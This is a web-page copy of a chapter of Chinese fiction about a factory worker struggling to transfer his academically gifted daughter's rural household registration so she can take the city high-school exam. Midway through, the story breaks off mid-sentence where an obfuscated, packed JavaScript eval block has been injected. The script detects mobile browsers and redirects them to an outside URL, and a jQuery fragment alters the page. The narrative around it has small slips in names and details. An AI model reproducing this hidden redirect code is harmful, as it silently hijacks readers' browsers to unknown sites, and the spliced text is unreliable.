世和知道自己家底子薄，没有积蓄，没有祖上留下的遗产可以继承，完全是白手起家，从一穷二白的地步开始。从无到有，好在人丁兴旺，世和的父亲一代只有一个男性，到了世和这一代，有了俩，到世和世平的下一代，就有四个男性，树大分枝，估计人口会越来越多。
只要有人，一切都好说，有人才能圆梦，如果理想很丰满，没有人，也是白搭。有了好计划，没有人来执行，也让人着急。世和经常感到焦急，没有办法让自己变得轻松和自信，他对未来所抱的希望并不大，只是走一步算一步。
一般来说，不会把家族里的女性算上，如果算女的，那么，大树分开的枝丫会更多。只要留住青山，就不要担心没柴可烧。
那年的盛夏，炽热的日光把小镇烘烤得蔫巴巴的，蝉鸣在枝头扯着嗓子嘶叫，搅得人心愈发烦闷。
世和蹲在家门口红砖墙上，眉头紧锁，手里的劣质烟卷快燃到尽头，他浑然不觉，任由烟灰簌簌地落在洗的发白的裤腿上。
女儿浩怡刚升初三，成绩拔尖，在学校模拟考里**名列前茅。可老师前两天带来的消息，像一记重锤砸懵了全家——中考政策有严格户籍限制，非城镇户口的孩子，哪怕分数再高，也没资格报考城里的重点高中。浩怡的户口还在老家农村。
那年的梅雨季节，世和的中山装口袋里永远揣着个磨破边角的牛皮纸袋。
袋口露出的户籍迁移申请表上，公章栏还是空白一片，墨迹被雨水洇得发皱，像极了他这些天来日渐憔悴的面容。
“同志，再帮我看看？“世和第无数次把申请表推到派出所户籍科的铁栏杆前。
窗口内的女**戴着蓝布袖套，翻着材料的手顿了顿：“任师傅，政策规定''半边户''子女随迁得满足三个条件，您这......“
话音未落，隔壁办公桌传来搪瓷缸碰撞的声响，惊得世和肩膀猛地一抖。
深夜，世和蜷在单位宿舍的硬板床，听着窗外的雨打芭蕉。
月光透过气窗照进来，在水泥地上投下狭长的光影。
他摸出枕下的全家福，照片里浩怡扎着褪色的红头绳，站在老家的晒谷场前笑得灿烂。
妻子的字迹从背面透过来：“怡丫头这次月考又是年级前三，就是总问啥时候能去城里考试......“
周末，世和骑着叮当作响的二八大杠，奔波在各个部门之间。
他的公文包里装着浩怡的奖状、成绩单，还有从厂里开的各种证明，纸张边缘被手指磨得**糙。
在教育局门口，他看着穿着的确良衬衫的家长们进进出出，摸了摸自己洗得发白的袖口，把铝制饭盒往怀里又塞紧了些——那里面装着妻子腌的咸菜，是他这几天的午饭。
“爸，我不想考了。“那天傍晚，浩怡攥着沾着泥点的通知书，声音发颤。
世和看见女儿裤脚还沾着从老家赶来时的草屑，而通知书上“借考需缴纳五十元赞助费“的字样，像根刺扎进他的眼睛。
他猛地转身，指甲深深掐进掌心，才勉强压下喉间的哽咽。
深夜的厂区宿舍，世和对着煤油灯反复研读政策文件。
火苗忽明忽暗，把他的影子投在斑驳的墙面上，显得格外孤单。他摸出烟盒，才发现里面只剩最后一根烟，烟丝已经潮得发腻。
远处传来火车的汽笛声，他望着窗外漆黑的夜，突然想起浩怡小时候，总爱趴在他肩头数天上的星星。
雨还在下，世和把湿透的申请表贴在胸口，仿佛这样就能捂热那些冰冷的政策条文。
牛皮纸袋里的材料窸窣作响，混着雨声，像一首无人倾听的哀歌。
在这相对封闭的家属院里，在城里念高中是孩子跃出“农门“的唯一指望，如今这路却硬生生被堵死。
世和是典型的半边户，自己成为城镇人，可是妻子孩子的户口都在乡下，家里还有几亩责任田，春种秋收，都交给世平在打理。
世平累得很，可能得了腰椎间盘突出，而且病情年年加重，已经说过几次不要种地，但苦于在城里找工作很难，只有暂时还呆在农村守着几十亩田地。
世和的妻子刘冰玉在单位里当临时工，随叫随到，工作任务琐碎而简单，干的都是下力气的活儿，需要不断重复，熬得她面黄肌瘦，双手满是劳作留下的裂口与茧子。一家人勒紧裤腰带，就盼着浩怡读书出人头地。关键是女孩如果不读书，在城里就无法找工作，无法活下去。
世和狠狠吸了一口烟，辛辣的味道呛进肺里，引得一阵咳嗽。
眼神空洞地望着门前那条坑洼土路，他满心无奈与愤懑。
去找经理？人家为单位里琐事忙得脚不沾地，能管这升学的“闲事”？
去求街道办管教育的干事？可自己两手空空，哪来疏通关系的门道，连句漂亮场面话都憋不出来。
想到女儿昨晚熬夜做题时那专注又带着憧憬的眼神，他的心像被猫抓般难受。
屋内老旧的闹钟滴答作响，每一声都似在催命。
世和把烟头狠狠摁灭在墙上，起身时双腿麻得一哆嗦。
他拍了拍身上灰尘，决定还是先去学校找老师问问，看能不能寻出一丝转机，哪怕前方是迷雾茫茫，为了孩子，他也得硬着头皮踏出这第一步，烈日把他佝偻的身影拉得老长，蹒跚着隐入那滚烫的日光里，怀揣着一丝渺茫希望，踏入未知的困局探寻。
蝉鸣在当年那个燠热的盛夏里，扯着嗓子发出尖锐而冗长的聒噪，像是要把整个世界的耐心都耗尽。
任世和站在教育局那扇油漆斑驳却依旧冰冷威严的铁门前，手中攥着女儿浩怡一沓厚厚的奖状，手心的汗早已将纸张濡湿，边角微微卷起。
世和刚从三楼的招生办公室出来，里面那个戴着黑框眼镜、表情淡漠的办事员的话还像针一样扎在心头：“没城镇户口想报城里高中？政策在这儿摆着，天王老子来了也不行，别白费力气瞎折腾了。”
任世和嗫嚅着求情的那些话，此刻全梗在喉间，苦涩得厉害。
任世和一家是半边户，他自己现在的户口在城里，因为是参军入伍复员转业到地方，安排他进了单位，但是他的父母亲靠着乡下那几亩瘦田刨食，供他念完初中已是极限；他则在单位的汽车修理车间钻车底维修车辆，每日跟柴油、汽油、钳子扳手等工具打交道，累得骨头都要散架，才勉强撑起家里的半边天，让妻儿能有个遮风挡雨的窝，盼着孩子靠读书改变命运。
为了浩怡这户口事儿，他跑断了腿。
先是拎着老家世平送来的老母鸡下的一篮鸡蛋，满脸堆笑去单位里管户籍的老张，老张收了鸡蛋，却只是唉声叹气：“世和呐，这户口指标卡得死，公司没权没辙，你还是另寻高就吧。我们单位每年的指标都有限，区**分局把户籍指标分到各个单位，我们的指标很有限，需要排队，需要评比上报，等到分局进行审批。这是不是我一个人说了算的，大权在区里。如果多给我们几个指标，这忙我肯定会帮忙的。”话里的推脱像一盆冷水，浇灭他刚燃起的小火苗。
而后他又辗转托在**分局上班的远房表亲，又打听到教育局某位领导的住址，在狭窄昏暗的楼道里等了大半宿，才等到人家醉醺醺归来。
任世和忙不迭递上儿子的成绩单，近乎哀求地说着孩子的聪慧刻苦，那领导却厌烦地一挥手：“这种事儿多了去了，都像你这样搞特殊，规矩还立不立啦？快走快走！”门“砰”地关上，震得他耳朵嗡嗡响，也震碎了满心期许。
此刻，日光毒辣地砸在头顶，任世和望着街边橱窗里摆放的崭新文具，想到女儿浩怡每晚在昏黄油灯下写秃一支支铅笔、用橡皮擦到本子快破洞的模样，眼眶一热。
他把奖状仔细叠好揣进怀里，拍了拍身上的灰尘，眼神重新坚毅起来：“就不信没个活路，女儿，爸再想法子，指定不让你前程就这么断咯！”
说罢，迈着沉重却决绝的步子，再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676454|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次扎进那滚烫喧嚣、希望渺茫的市井长街，背影被日光拉得老长，写满不屈。
黄昏的光像一层陈旧的纱，透过工厂办公室那满是灰尘的窗户，洒在任世和沟壑纵横的脸上。
他局促地站在主任桌前，手指不安地z拽着衣角，嗫嚅开口：“主任，听说咱单位这回有转户口的指标，您看我家丫头的事儿……”
主任从堆积如山的文件里抬起头，推了推滑到鼻尖的老花镜，眉头轻皱：“老任啊，这指标大家都盯着呢，僧多粥少。你也知道，厂里困难户、老资历都排着队。”
任世和急得额头上青筋直跳，上前一步，声音发颤：“主任呐，我家情况特殊！丫头学习拔尖，眼瞅着要中考，没城镇户口连报考资格都没。我在这厂子里勤勤恳恳十来年，脏活累活没二话，就盼孩子能有个好前程。”
说着，双手递上女儿一摞奖状，“您瞧瞧，这都是孩子拿回来的，不能就这么给耽误了啊。”
主任接过奖状，随意翻了翻，神色稍有动容：“是个好孩子，可这事儿我一人说了不算。工会那边得审核，上头领导还得点头，程序复杂着呢。”
世和眼里闪过一丝光亮，紧接着追问：“那您给指条明路，我该找谁？该咋做？只要能成，我感恩戴德。”
主任轻叹了口气，站起身来拍拍世和的肩膀：“先去工会把申请表填了，找老李，把家里困难情况写详细，再准备些材料证明孩子成绩优异。不过，我可不敢打包票，你心里也得有个底，竞争激烈着呢。”
世和连连点头，嘴里不停道谢，退出办公室时差点绊到门槛。转身瞧见车间里机器轰鸣，想到这些年为了多挣几个加班费，陪女儿的时间少之又少，满心愧疚。这时，好友老张凑过来，小声说：“听说有人都开始给领导送礼了，你不意思意思？”
世和面露难色，咬咬牙：“咱本分人，能走正道就不走歪路，先按主任说的办，实在不行……再说吧。”
说罢，攥紧手中的包，包里装着女儿的未来与希望，大步迈向工会办公室，身影在昏黄光线里透着孤注一掷的决然。
晨光艰难地穿透工厂那积满污垢的窗户，洒在工会办公室门口略显局促的世和身上。
他深吸一口气，抬手整了整那件洗得发白的中山装，才迈进屋内。
工会的办事员小刘抬起头，冷淡地问：“找谁？”
老王忙满脸堆笑：“刘同志，我找李**，想问问转户口拿表的事儿。”
小刘指了指里间：“在里头呢，等着吧。”
世和忐忑地站在门边，目光扫过墙上那些表彰先进工人的锦旗，心里默默念叨着自家丫头的奖状也该贴在这显眼处。
不多时，李**出来了，大嗓门透着股干练劲儿：“老任啊，听说你为闺女户口来了，这事儿可不好办呐！”
世和上前半步，双手递上一支皱巴巴的烟：“李**，您知道我家情况，孩子她妈也是农村户口，小时候成绩也好，为了弟弟妹妹上学，她放弃自己的上高中的机会，我的丫头是读书的料，有优良的遗传基因，就指望着她读书出息。这马上中考，没户口可全完了。”说着，眼眶泛起微红。
李**接过烟，夹在耳后，语气软了几分：“厂里指标有限，申请的人不少，你先把表拿去填了。”
说着，从抽屉里翻出一张申请表，“这上头信息，一个字都别写错，孩子成绩证明、家庭情况，都要如实填写。”
世和如获至宝般接过表，手指都有些颤抖，连连点头：“一定一定，我回去就仔仔细细填。李**，您看我在厂里这么些年，没出过岔子，年年评优也有我，能不能多关照关照我家丫头？”
李**拍了拍世和肩膀：“老任，你的辛苦大家都看在眼里，但这流程得走，大家公平竞争。你把表交回来，我会提交上去开会研究，尽力而为吧。”
世和紧紧攥着表，像是握住女儿的命运，退出办公室时，朝忙碌的众人微微鞠躬致谢。